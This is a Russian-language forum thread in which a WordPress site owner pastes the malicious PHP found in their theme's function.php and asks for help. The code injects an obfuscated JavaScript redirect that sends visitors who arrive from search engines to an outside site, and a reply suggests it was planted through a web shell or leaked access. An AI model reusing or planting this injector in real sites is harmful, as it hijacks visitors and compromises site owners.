Помощник
|
Вирус на сайте на cms Wordpress |
keyseo
|
Сообщение
#12
|
|
в самом конце function.php посмотрите что-то длинное, ну или сюда пришлите скажу, если там конечно О! Наконец умный человек! Вот этот код освещал мне постоянно ГУГ с яндексом. <?php
add_action('get_footer', 'add_sscounter'); function add_sscounter(){ echo '<!--scounter-->'; if(function_exists('is_user_logged_in')){ if(time()%2 == 0 && !is_user_logged_in()){ echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function©{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e©]=k[c]||e©;k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e©+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query ||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|locati o n'.split('|'),0,{}))</script>"; } } } ?> -------------------- |
|
|
Rxp |
14.5.2012, 10:37;
Ответить: Rxp
Сообщение
#13
|
|
|
Данный код в основном проставляется или слитым доступом или шеллом, 2 пункт более вероятнее.
Сообщение отредактировал Rxp - 14.5.2012, 10:39 -------------------- |
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Продам базу сайтов Wordpress в 16 миллионов доменов! Свежая сборка. | 19 | Boymaster | 11124 | Сегодня, 0:01 автор: Boymaster |
|
Быстрый и качественный обмен на сайте Baksman.org Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк |
52 | Baksman | 33587 | 18.4.2024, 5:02 автор: Baksman |
|
Боты могут делать пушподписки на моём сайте? | 0 | Megaspryt | 467 | 17.4.2024, 23:29 автор: Megaspryt |
|
CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте | 36 | CryptoCLoud | 10639 | 16.4.2024, 16:02 автор: CryptoCLoud |
|
Странный трафик на сайте длительное время | 33 | TABAK | 8782 | 12.4.2024, 5:56 автор: Skyworker |
Текстовая версия | Сейчас: 20.4.2024, 2:10 |